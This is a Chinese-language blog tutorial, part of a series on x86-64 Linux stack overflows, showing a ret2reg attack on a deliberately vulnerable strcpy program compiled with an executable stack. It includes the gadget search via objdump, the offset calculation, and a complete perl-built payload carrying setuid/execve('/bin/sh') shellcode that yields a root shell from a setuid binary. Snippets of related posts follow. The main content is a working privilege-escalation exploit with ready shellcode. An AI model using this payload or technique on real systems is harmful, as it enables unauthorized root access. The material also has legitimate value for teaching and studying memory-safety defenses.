栈溢出攻击系列:shellcode在linux x86 64位攻击获得root权限(七)利用寄存器攻击

在(六)中我们提到了使用固定栈地址的攻击方式,但在实际中,系统默认的参数不会为0

cat /proc/sys/kernel/randomize_va_space

那么在系列中的六失去攻击的意义,但是任何事情都会有漏洞,我们来讲另一个基于寄存器的攻击

漏洞代码

vulnerableret2reg.c

#include <stdio.h>
#include <string.h>
void evilfunction(char* input)
{
  char buffer[1000];
  strcpy(buffer, input);
}
int main(int argc, char** argv)
{
   evilfunction(argv[1]);
   return 0;
}

我们先看一下函数strcpy

char *strcpy(char *dest, const char *src);

那么意味着返回的数组的地址dest数组的地址在寄存器rax里,而strcpy返回的地址就是在函数evilfunction的buffer的地址,也就是说rax寄存器里的地址就是evilfunction里的buffer的起始位置,而非常幸运的是在evilfunction函数中在strcpy后面并没有对rax寄存器做任何操作,而本身函数evilfunction也没有返回值(rax是返回值寄存器)。

evilfunction 函数的汇编

00000000004004c4 <evilfunction>:
  4004c4:	55                   	push   %rbp
  4004c5:	48 89 e5             	mov    %rsp,%rbp
  4004c8:	48 81 ec 00 04 00 00 	sub    $0x400,%rsp
  4004cf:	48 89 bd 08 fc ff ff 	mov    %rdi,-0x3f8(%rbp)
  4004d6:	48 8b 95 08 fc ff ff 	mov    -0x3f8(%rbp),%rdx
  4004dd:	48 8d 85 10 fc ff ff 	lea    -0x3f0(%rbp),%rax
  4004e4:	48 89 d6             	mov    %rdx,%rsi
  4004e7:	48 89 c7             	mov    %rax,%rdi
  4004ea:	e8 d9 fe ff ff       	callq  4003c8 <[email protected]>
  4004ef:	c9                   	leaveq
  4004f0:	c3                   	retq 

我们看到在callq 后面就没有在任何对rax寄存器修改的指令了。

rax寄存器就成了我们的攻击方向

1. 我们要找到一个call %rax的指令地址,编译vulnerableret2reg.c 成可执行文件

gcc -z execstack -o vulnerableret2reg vulnerableret2reg.c
objdump -d vulnerableret2reg |grep rax > rax.txt
cat rax.txt
 4003b4:	0f 1f 40 00          	nopl   0x0(%rax)
  4003ed:	50                   	push   %rax
  400410:	48 8b 05 89 04 20 00 	mov    0x200489(%rip),%rax        # 6008a0 <_dynamic 0x190="">
  400417:	48 85 c0             	test   %rax,%rax
  40041c:	ff d0                	callq  *%rax
  400447:	48 8b 05 92 04 20 00 	mov    0x200492(%rip),%rax        # 6008e0 <dtor_idx 6351="">
  40045d:	48 39 d8             	cmp    %rbx,%rax
  400462:	66 0f 1f 44 00 00    	nopw   0x0(%rax,%rax,1)
  400468:	48 83 c0 01          	add    $0x1,%rax
  40046c:	48 89 05 6d 04 20 00 	mov    %rax,0x20046d(%rip)        # 6008e0 <dtor_idx 6351="">
  400473:	ff 14 c5 f8 06 60 00 	callq  *0x6006f8(,%rax,8)
  40047a:	48 8b 05 5f 04 20 00 	mov    0x20045f(%rip),%rax        # 6008e0 <dtor_idx 6351="">
  400481:	48 39 d8             	cmp    %rbx,%rax
  400494:	66 66 66 2e 0f 1f 84 	data32 data32 nopw %cs:0x0(%rax,%rax,1)
  4004b3:	48 85 c0             	test   %rax,%rax
  4004be:	ff e0                	jmpq   *%rax
  4004dd:	48 8d 85 10 fc ff ff 	lea    -0x3f0(%rbp),%rax
  4004e7:	48 89 c7             	mov    %rax,%rdi
  400500:	48 8b 45 f0          	mov    -0x10(%rbp),%rax
  400504:	48 83 c0 08          	add    $0x8,%rax
  400508:	48 8b 00             	mov    (%rax),%rax
  40050b:	48 89 c7             	mov    %rax,%rdi
  400522:	66 66 66 66 66 2e 0f 	data32 data32 data32 data32 nopw %cs:0x0(%rax,%rax,1)
  40057c:	0f 1f 40 00          	nopl   0x0(%rax)
  4005c9:	48 8b 05 18 01 20 00 	mov    0x200118(%rip),%rax        # 6006e8 <__ctor_list__>
  4005d0:	48 83 f8 ff          	cmp    $0xffffffffffffffff,%rax
  4005db:	0f 1f 44 00 00       	nopl   0x0(%rax,%rax,1)
  4005e4:	ff d0                	callq  *%rax
  4005e6:	48 8b 03             	mov    (%rbx),%rax
  4005e9:	48 83 f8 ff          	cmp    $0xffffffffffffffff,%rax

很幸运的是我们看到了callq *%rax

40041c:ff d0                callq  *%rax

指令地址是40041c

2. 计算覆盖到返回地址的空间

lea    -0x3f0(%rbp),%rax

也就是buffer的起始地址是相对于rbp -0x3f0 =十进制1008在加上8就是函数返回地址了

3. 填充我们的数组

`perl -e 'print "\x90"x16;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";print "\x90"x957;print "\x1c\x04\x40\x00"'`

16+43+957=1016 在填充指令地址40041c

4. 执行我们的shellcode

当函数退出的时候,rip的地址指向了40041c, 而执行机器指令 callq *%rax, 此时rax里的值是buffer数组的起始地址,那么将开始执行buffer数组里的内容。我们只要将buffer数组填入我们所想要执行的shellcode,那么这次攻击完美产生。

演绎攻击

gcc -z execstack -o vulnerableret2reg vulnerableret2reg.c
chmod u+s vulnerableret2reg
su test
./vulnerableret2reg `perl -e 'print "\x90"x16;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";print "\x90"x957;print "\x1c\x04\x40\x00"'`
sh4.1#whoami
root

一切如设计的一样,你成为了root.

栈攻击并不简单

1. 你需要buffer数组足够长,能够填满你的shellcode。

2. 你需要程序后面没有对寄存器进行操作。

3. 你需要你的程序里本身有对寄存器的操作,并能得到代码所在的地址。

4. 当然你还需要在编译的时候指定可以在栈中执行的代码。

5. 为了变成root 你需要程序有s的权限。

时间: 2024-10-26 04:44:39

栈溢出攻击系列:shellcode在linux x86 64位攻击获得root权限(七)利用寄存器攻击的相关文章

栈溢出攻击系列:shellcode在linux x86 64位攻击获得root权限(二)shellcode

shellcode 是一组指令opcode, 是可以被程序运行,因为shellcode是要直接操作寄存器和函数,所以opcode 必须是十六进制的形式. 既然是攻击,那shellcode 主要的目的是调用系统函数,而在x86下 在linux下有两种方式. 第一种是通过直接调用中断 int 0x80进入内核态,从而达到调用目的. 第二种是通过调用libc里syscall(64位)和sysenter(32位) 而目前在64位linux中推荐使用syscall,因为opcode是16进制的指令集合,可

栈溢出攻击系列:shellcode在linux x86 64位攻击获得root权限(一)函数如何执行

栈溢出网上已经有很多的例子了,但是很少会涉及到在64位的和操作系统linux相关的,而最近刚好在一直研究这个,所以写着一系列博文,一来是为了帮助自己记忆,二来也是为了更多的大家互相探讨. 寄存器 X86-64有16个64位寄存器,分别是:%rax,%rbx,%rcx,%rdx,%esi,%edi,%rbp,%rsp,%r8,%r9,%r10,%r11,%r12,%r13,%r14,%r15.其中: %rax 作为函数返回值使用 %rsp 栈指针寄存器,指向栈顶 %rdi,%rsi,%rdx,%r

各版本x86 / 64位MongoDB下载地址

各版本x86 / 64位MongoDB下载地址: linux: http://dl.mongodb.org/dl/linux/x86_64 windows: http://dl.mongodb.org/dl/win32/x86_64

Red Hat Enterprise Linux 6 64位详细安装教程

首先声明,Linux的高手请直接单击网页右上角退出. 对于linux的新手来说,安装linux操作系统是比较麻烦的一件事,这次为大家带来Red Hat Enterprise Linux 6 64位安装的详细教程. 本次演示仍然需要用到虚拟机,那我们就一步一步来进行,从创建新的虚拟机开始. 这次我们选择自定义. 接着默认选择,下一步即可. 这里我们需要选择稍后安装操作系统,一定要切记不好直接选择iso镜像,要不然系统会默认安装英文,很麻烦. 这里我们要选择Linux 版本就是我们今天要演示的版本R

虚拟机上安装 Red Hat Enterprise Linux 7 64位

一 .准备 1)可以支持64位 电脑一台: 2)安装VMware Workstaition 10及以上版本: 3)下载Red Hat Enterprise Linux 7 64位镜像: 二.安装 1)打开VMware,创建新的虚拟机

Linux x86 64内核终止D状态的进程

在上一篇文章<Linux x86内核终止D状态的进程>中,我展示了32位x86系统中如何编码杀死D进程.本文我将展示一种64位x86系统上的方法.        说实话,64位系统上做这样的事是比较难的,因为你无法通过修改p->thread.ip来到达将进程拽出死循环的目的.要想知道64位系统上到底该怎么把进程执行绪引出,我们得先看看"标准"的做法是什么. 标准的做法就是fork时的行为,一个新进程刚刚被创建,它第一次进入运行状态之前,并不是通过switch_to切出

禅道linux安装 64位

1.下载文件64位下载:wget http://dl.cnezsoft.com/zentao/9.0.1/ZenTaoPMS.9.0.1.zbox_64.tar.gz 32位下载:wget http://dl.cnezsoft.com/zentao/9.0.1/ZenTaoPMS.9.0.1.zbox_32.tar.gz 2.cp到/opt目录下面 进行解压 在禅道网站上有说,Linux安装需要将安装包解压到/opt目录下tar -zxf ZenTaoPMS.9.0.1.zbox_64.tar.

linux下64位汇编的系统调用(3)

背景知识基本交代清楚了,下面我们实际写一个小例子看一下.代码的功能很简单,显示一行文本,然后退出.我们使用了syscall中的write和exit调用,查一下前面的调用号和参数,我们初步总结如下: write(即sys_write)调用号为1,需传递3个参数 unsigned int fd const char *buf size_t count exit(sys_exit)调用号为60,只需传递一个错误码 int error_code 如果该值为0表示程序执行成功. 因为以上两个调用最多的也只

Mac OS X下64位汇编与Linux下64位汇编的一些不同

1 首先系统调用号大大的不同:mac64和linux32的系统调用号也不同(虽然局部可能有相同) 2 mac64的系统调用号在: /usr/include/sys/syscall.h 可以查到,但是调用的时候其值要加上0x2000000,可以写一个宏处理: %define mk64 0x2000000+ 使用方式如下: mov rax,mk64 1 ;exit NO mov rdi,0 ;error_code syscall 3 如果在mac64下汇编要与C库相链接,所有extern符号名前要加